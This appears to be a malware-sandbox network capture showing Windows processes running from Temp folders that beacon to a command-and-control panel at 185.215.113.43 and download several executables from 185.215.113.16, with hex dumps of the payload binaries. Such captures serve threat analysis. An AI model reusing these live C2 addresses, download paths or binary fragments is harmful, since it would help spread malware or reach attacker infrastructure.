Oct 26, 2024 08:54:15.679322004 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Oct 26, 2024 08:54:15.679332972 CEST	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Oct 26, 2024 08:54:15.679344893 CEST	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Oct 26, 2024 08:54:15.679362059 CEST	1236	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Oct 26, 2024 08:54:15.679373980 CEST	1236	IN	Data Raw: 00 83 f8 12 0f 8d e0 04 04 00 83 e8 04 83 f8 0a 77 94 ff 24 85 85 27 40 00 6a 7f 58 66 3b d8 0f 84 c2 06 04 00 8b 19 33 c0 66 85 c0 74 1c 8b 45 90 40 89 45 90 8b 1c 81 0f b7 43 08 66 3b 85 50 ff ff ff 75 e4 e9 9d 06 04 00 83 3b 05 75 df 8b 04 91 Data Ascii: w$'@jXf;3ftE@ECf;Pu;u3f9X'ULUf9Y]79^99L99!:9#, rU]
Oct 26, 2024 08:54:15.679383993 CEST	1236	IN	Data Raw: 85 79 02 04 00 38 5f 08 75 1c 8b 47 04 6a 08 50 8b 70 04 e8 c8 d5 01 00 59 59 89 77 04 88 5f 09 ff 0f 5f 5e 5b c3 b3 01 eb f3 55 8b ec 56 8b f1 80 7e 09 00 0f 85 5f 02 04 00 6a 08 e8 ad d5 01 00 59 8b 4d 08 8b 09 89 08 8b 4e 04 89 48 04 89 46 04 Data Ascii: y8_uGjPpYYw__^[UV~_jYMNHF^]UQSV3W8^?8^u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWO
Oct 26, 2024 08:54:15.679394960 CEST	784	IN	Data Raw: a3 88 13 4d 00 ff d6 57 ff 35 8c 13 4d 00 ff d6 5f 5e c3 55 8b ec 83 ec 40 a1 58 13 4d 00 56 33 f6 a3 04 19 4d 00 6a 0f c7 45 c4 30 00 00 00 c7 45 c8 2b 00 00 00 89 75 d0 c7 45 d4 1e 00 00 00 89 45 d8 89 75 e0 ff 15 3c c7 49 00 89 45 e4 8b 45 10 Data Ascii: MW5M_^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVW
Oct 26, 2024 08:54:15.679404974 CEST	1236	IN	Data Raw: ee 02 50 8d 4d 90 e8 a8 00 00 00 39 1d 1c 14 4d 00 0f 84 8d fd 03 00 85 f6 0f 88 a5 fd 03 00 8b 4d 0c e8 f3 33 00 00 8d 4e 01 8b f8 51 6a 01 57 e8 4a 3a 00 00 83 c4 0c 89 75 e0 33 c0 89 5d e8 40 89 45 ec 53 50 8d 45 e0 50 57 e8 8f 40 00 00 83 c4 Data Ascii: PM9MM3NQjWJ:u3]@ESPEPW@Mt~5EPML?CESjPWf@MKEPM#;\|M"hM+M@_^[U;Q}BAM;t4!x]MhI:2VWw
Oct 26, 2024 08:54:15.679415941 CEST	1236	IN	Data Raw: b0 23 4d 00 89 1d b4 23 4d 00 c7 05 b8 23 4d 00 44 c9 49 00 89 1d bc 23 4d 00 89 1d c0 23 4d 00 89 1d c4 23 4d 00 a3 c8 23 4d 00 89 1d cc 23 4d 00 89 1d d0 23 4d 00 89 1d d4 23 4d 00 89 1d dc 23 4d 00 c7 05 e0 23 4d 00 3c c9 49 00 89 1d e4 23 4d Data Ascii: #M#M#MDI#M#M#M#M#M#M#M#M#M<I#M#M#M#MfNtL$(>T$(0h(IL$,D$(#MPL$tL$mqD$3PjVhIhIL$cL$(c_^#M[]
Oct 26, 2024 08:54:15.684767962 CEST	1236	IN	Data Raw: fa 03 00 83 7e 60 00 0f 85 27 fa 03 00 68 f0 13 4d 00 8d 4c 24 0c e8 bc 29 00 00 be a8 03 00 00 8d 84 24 28 01 00 00 56 6a 00 50 e8 97 e9 01 00 a1 8c 13 4d 00 8d 4c 24 24 8b 54 24 14 83 c4 0c 89 b4 24 18 01 00 00 33 f6 46 89 84 24 1c 01 00 00 89 Data Ascii: ~`'hML$)$(VjPML$$T$$3F$$ h$(2YD$P$4PYY$PVIL$\|^^]UVuWtFPRW3fDw_^]UQM;sH]PUVh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49996	185.215.113.16	80	2332	C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:21.300045013 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 26, 2024 08:54:22.217268944 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:54:22 GMT Content-Type: application/octet-stream Content-Length: 1897984 Last-Modified: Sat, 26 Oct 2024 06:48:41 GMT Connection: keep-alive ETag: "671c90c9-1cf600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 30 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf0K@`K#@WktK$K @.rsrc@.idata @ *@juonirvb@1@iownkumr K@.taggant00K"@
Oct 26, 2024 08:54:22.217318058 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 08:54:22.217356920 CEST	324	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 08:54:22.217410088 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 08:54:22.217447996 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 08:54:22.217477083 CEST	124	IN	Data Raw: e9 f2 b7 cc 2a 2e c2 d0 f5 3a 84 a6 71 c2 b4 50 ca 0e 18 43 ba 8d d6 4f 33 e2 70 42 91 5e 5c 42 ce 84 a6 6f 33 02 9c d3 af 3e b0 88 46 91 cc b5 33 43 fd 51 32 55 a6 f3 bc f2 d6 7c 30 6e c3 48 75 92 d6 f0 03 ef fa 54 c0 d0 1d a2 fe 86 b8 cf 00 62 Data Ascii: .:qPCO3pB^\Bo3>F3CQ2U\|0nHuTb)4>Dj"sg>p
Oct 26, 2024 08:54:22.217535019 CEST	1236	IN	Data Raw: 33 6f 50 03 fb a2 40 b5 ab 83 9c 90 ee 53 49 e6 82 72 e4 f0 02 86 d8 4a 35 3e d6 30 00 2f 01 49 42 92 9c 9c 17 3a 85 87 aa a2 74 d1 d1 0d 16 e1 b6 30 b4 8c 15 9e 65 43 d2 a1 e9 ab c2 91 3c 69 9e 86 28 30 03 91 64 55 11 72 8d 39 e1 56 c2 45 b5 be Data Ascii: 3oP@SIrJ5>0/IB:t0eC<i(0dUr9VECj<An9hR>s2+:^00+/"P:yh>/B:Pr L@x1"cC;8L0p+obA3AH]!
Oct 26, 2024 08:54:22.217586994 CEST	1236	IN	Data Raw: c4 82 22 ee e3 5d 5d 62 ec d6 7c c4 1b eb ef 3e bb b0 21 aa 31 be 4c bd 93 f1 d9 38 32 19 57 24 f8 d2 39 3c b1 38 7c 8e f0 73 44 77 61 b1 08 6c ba 64 e4 96 41 00 89 ac c1 fd 1e 0a 60 ec 16 10 74 bc e4 d3 aa 56 08 67 01 db 3c a3 0c 51 27 1d 96 a2 Data Ascii: "]]b\|>!1L82W$9<8\|sDwaldA`tVg<Q'Z'h6Cg9ZcjqF:9UocXS*{\|##^Z>c_^t=<,6,E9?e`"]q2WqgQW+/M<i=;2
Oct 26, 2024 08:54:22.217621088 CEST	424	IN	Data Raw: c1 be 31 fb cc f3 f2 00 37 f2 75 05 ae 78 e4 e9 90 a1 e6 54 2a 29 dd d1 c3 f9 e4 f4 0c c1 9d ed d1 11 b4 b4 2e f4 d3 df fa cb 12 a7 80 c9 be 44 ab d3 26 1d a7 bd e7 8f e0 fc 7d e2 0e 27 60 44 2b e8 8a 50 13 85 3b 6c 1a 32 61 e4 ab fe 54 f1 d3 be Data Ascii: 17uxT*).D&}'`D+P;l2aT':8$V3rQ[I=,W<OIu/}mRt&i!@T>,r\|`wU, $mWvU =RuCNmRhI<(=
Oct 26, 2024 08:54:22.217655897 CEST	1236	IN	Data Raw: cc e5 0c 41 ec 20 5c 6d e2 de ce b2 1e a9 c2 54 74 d2 b9 f0 ee ae cc 93 9e 35 67 1a 0c 3f 8c f4 36 ea ea 89 0e 5b f1 61 df 52 7c 4d bc 90 b0 29 19 8a 02 a4 e6 32 08 92 17 8f 66 e4 e3 89 cc 2b 29 77 64 2b 60 11 4d 72 56 92 6f 13 0f dd e1 e1 21 6e Data Ascii: A \mTt5g?6[aR\|M)2f+)wd+`MrVo!nd?'9*+;28!V3_nD2tLmZ\|+&QLO$8^Z!"KX=RtO9BN;b@Z5R l'W9lZ
Oct 26, 2024 08:54:22.223782063 CEST	1236	IN	Data Raw: 8e 74 5c 1a 05 e1 ab 59 ac 97 f5 68 e9 6b d8 57 f0 e7 98 e5 5e 1f 29 46 32 fb 74 8f 2a 26 ef 91 da b4 8f af 78 5c 28 34 d5 67 8f 40 5a a3 21 48 9e 56 95 ae 68 d9 13 e0 f0 24 54 ae ca 10 aa bc b2 05 d6 c8 f6 c6 18 42 b9 ee 98 35 ff 10 9d 08 b6 90 Data Ascii: t\YhkW^)F2t&x\(4g@Z!HVh$TB52=q#iA53_]Qo^biA}>cC+$T5\Ffn)xLQYPh'\+ ^[N/-b 1?PWOb>D[#
Oct 26, 2024 08:54:31.824254036 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 26, 2024 08:54:32.105516911 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:54:31 GMT Content-Type: application/octet-stream Content-Length: 1872384 Last-Modified: Sat, 26 Oct 2024 06:48:34 GMT Connection: keep-alive ETag: "671c90c2-1c9200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 39 24 1c 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 c0 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 6a 00 00 04 00 00 20 c6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPEL9$g$j@j @P%d% %(@.rsrc %8@.idata %8@ *%:@seldsqgz0P.<@ogrbyegijj@.taggant0j"p@
Oct 26, 2024 08:54:39.052201033 CEST	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 26, 2024 08:54:39.333622932 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:54:39 GMT Content-Type: application/octet-stream Content-Length: 2810368 Last-Modified: Sat, 26 Oct 2024 05:56:24 GMT Connection: keep-alive ETag: "671c8488-2ae200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 5e de 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@+ `@ +^+`Ui` @ @.rsrc`2@.idata 8@itjqivob*:@lqldnesx +@.taggant@@+"*@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49997	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:21.892131090 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 36 33 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001635001&unit=246122658369
Oct 26, 2024 08:54:22.821886063 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:54:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49998	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:22.883555889 CEST	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Oct 26, 2024 08:54:23.805376053 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:54:23 GMT Content-Type: application/octet-stream Content-Length: 314368 Last-Modified: Sun, 29 Sep 2024 08:19:54 GMT Connection: keep-alive ETag: "66f90daa-4cc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$i@&@(<%$.text .rdata@@.data#@.relocE%F@B
Oct 26, 2024 08:54:23.805417061 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 dc 41 00 00 00 00 00 00 00 00 00 81 ce 41 00 ea ce 41 00 00 00 00 Data Ascii: `AAAUQEE}tMUUEEE]UEExMUMMM]UQSjh0hAj(dE
Oct 26, 2024 08:54:23.805435896 CEST	1236	IN	Data Raw: 8b 8d 10 fc ff ff 51 83 ec 0c 8b cc 8d 95 04 fc ff ff 52 e8 eb 92 01 00 81 ec 88 00 00 00 8b cc 8d 45 08 50 e8 ca 00 00 00 8d 8d a4 fb ff ff 51 e8 be 3c 01 00 81 c4 a0 00 00 00 8d 8d a4 fb ff ff e8 1d 93 01 00 8d 8d f8 fb ff ff e8 e2 95 01 00 50 Data Ascii: QREPQ<Pd@5jjRAM]UQMM\|MHM<M0}MO]
Oct 26, 2024 08:54:23.805449009 CEST	1236	IN	Data Raw: ff 51 ff 15 9c a8 64 00 85 c0 74 16 68 04 53 42 00 8d 95 cc fe ff ff 52 ff 15 9c a8 64 00 85 c0 75 05 e9 7d 04 00 00 68 1f 0e 42 00 8d 8d 94 fe ff ff e8 98 8d 01 00 83 7d 30 00 0f 84 e6 00 00 00 8d 45 24 50 8d 8d 6c fd ff ff 51 68 fc 54 42 00 8d Data Ascii: QdthSBRdu}hB}0E$PlQhTBxRPQhTTBREPQhSBREPQ}PZlx
Oct 26, 2024 08:54:23.805464029 CEST	548	IN	Data Raw: 8b 01 00 8d 4d f4 e8 b0 89 01 00 8d 4d e8 e8 a8 89 01 00 8d 4d 08 e8 a0 89 01 00 8d 4d 18 e8 98 89 01 00 8d 4d 24 e8 90 89 01 00 8d 4d 34 e8 d8 f6 ff ff 8b e5 5d c3 cc cc cc cc 55 8b ec 83 ec 18 c7 45 fc 00 00 00 00 eb 09 8b 45 fc 83 c0 01 89 45 Data Ascii: MMMMM$M4]UEEEM;UREk,T(REk,TREk,PMk,DPMk,DPyX
Oct 26, 2024 08:54:23.805476904 CEST	1236	IN	Data Raw: 45 08 8b 48 08 89 4a 08 8b 55 08 83 7a 08 00 74 0c 8b 45 08 8b 48 08 8b 55 fc 89 51 0c 8b 45 08 8b 4d fc 89 48 08 8b 55 fc 8b 45 08 8b 08 89 0a 8b 45 fc 8b e5 5d c3 55 8b ec a1 94 a9 64 00 3b 45 0c 75 09 8b 4d 08 89 0d 94 a9 64 00 8b 55 08 8b 42 Data Ascii: EHJUztEHUQEMHUEE]Ud;EuMdUBMAUBEMQPExtMQEBE]UE]UE]U=duh hD2EPEMQdR]E}
Oct 26, 2024 08:54:23.805489063 CEST	1236	IN	Data Raw: 42 00 68 bc 1e 42 00 e8 77 20 00 00 83 c4 0c a3 04 a1 64 00 6a 0b 68 c8 1e 42 00 68 d4 1e 42 00 e8 5e 20 00 00 83 c4 0c a3 dc a1 64 00 6a 09 68 e0 1e 42 00 68 ec 1e 42 00 e8 45 20 00 00 83 c4 0c a3 28 a3 64 00 6a 0c 68 f8 1e 42 00 68 08 1f 42 00 Data Ascii: BhBw djhBhB^ djhBhBE (djhBhB, djhBh$B $djh0Bh@BdjhPBh\BdjhhBhB(djhBhBdjhBhBP
Oct 26, 2024 08:54:23.805505991 CEST	1236	IN	Data Raw: c0 23 42 00 68 cc 23 42 00 e8 a1 1b 00 00 83 c4 0c a3 3c a1 64 00 6a 09 68 d8 23 42 00 68 e4 23 42 00 e8 88 1b 00 00 83 c4 0c a3 4c a2 64 00 6a 17 68 f0 23 42 00 68 08 24 42 00 e8 6f 1b 00 00 83 c4 0c a3 1c a5 64 00 6a 0a 68 20 24 42 00 68 2c 24 Data Ascii: #Bh#B<djh#Bh#BLdjh#Bh$Bodjh $Bh,$BVdjh8$BhH$B=djhX$Bhd$B$(djhp$Bh$BLdjh$Bh$Bdjh$Bh$BLdjh$Bh$B
Oct 26, 2024 08:54:23.805517912 CEST	1236	IN	Data Raw: 16 00 00 83 c4 0c a3 60 a1 64 00 6a 0d 68 80 2a 42 00 68 90 2a 42 00 e8 bf 16 00 00 83 c4 0c a3 14 a1 64 00 6a 11 68 a0 2a 42 00 68 b4 2a 42 00 e8 a6 16 00 00 83 c4 0c a3 18 a3 64 00 6a 10 68 c8 2a 42 00 68 dc 2a 42 00 e8 8d 16 00 00 83 c4 0c a3 Data Ascii: `djhBhBdjhBhBdjhBhBdjh*Bh+BtTdjh(+Bh8+B[@djhH+Bh\+BBdjhp+Bhx+B)0djh+Bh+BHdjh+Bh+Bdjh+B
Oct 26, 2024 08:54:23.805531979 CEST	1236	IN	Data Raw: 6a 17 68 20 31 42 00 68 38 31 42 00 e8 f6 11 00 00 83 c4 0c a3 78 a5 64 00 6a 08 68 50 31 42 00 68 5c 31 42 00 e8 dd 11 00 00 83 c4 0c a3 90 a2 64 00 6a 0c 68 68 31 42 00 68 78 31 42 00 e8 c4 11 00 00 83 c4 0c a3 20 a5 64 00 6a 17 68 88 31 42 00 Data Ascii: jh 1Bh81BxdjhP1Bh\1Bdjhh1Bhx1B djh1Bh1Bdjh1Bh1Bdjh1Bh1By djh2Bh2B`djh 2Bh02BGdj=h@2Bh2B.4djh2Bh2B
Oct 26, 2024 08:54:23.810817957 CEST	1236	IN	Data Raw: 00 e8 2d 0d 00 00 83 c4 0c a3 e8 a4 64 00 6a 17 68 48 39 42 00 68 60 39 42 00 e8 14 0d 00 00 83 c4 0c a3 dc a3 64 00 6a 09 68 78 39 42 00 68 84 39 42 00 e8 fb 0c 00 00 83 c4 0c a3 a8 a1 64 00 6a 0c 68 90 39 42 00 68 a0 39 42 00 e8 e2 0c 00 00 83 Data Ascii: -djhH9Bh`9Bdjhx9Bh9Bdjh9Bh9Bdjh9Bh9B@djh9Bh9Bdjh9Bh9Bdjh:Bh :B~djh8:BhD:BedjhP:Bh`:BLdjhp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	50004	185.215.113.37	80	4516	C:\Users\user\AppData\Local\Temp\1001636001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:25.078037977 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	50008	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:54:26.832540989 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 36 33 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001636001&unit=246122658369
Oct 26, 2024 08:54:27.767328978 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:54:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
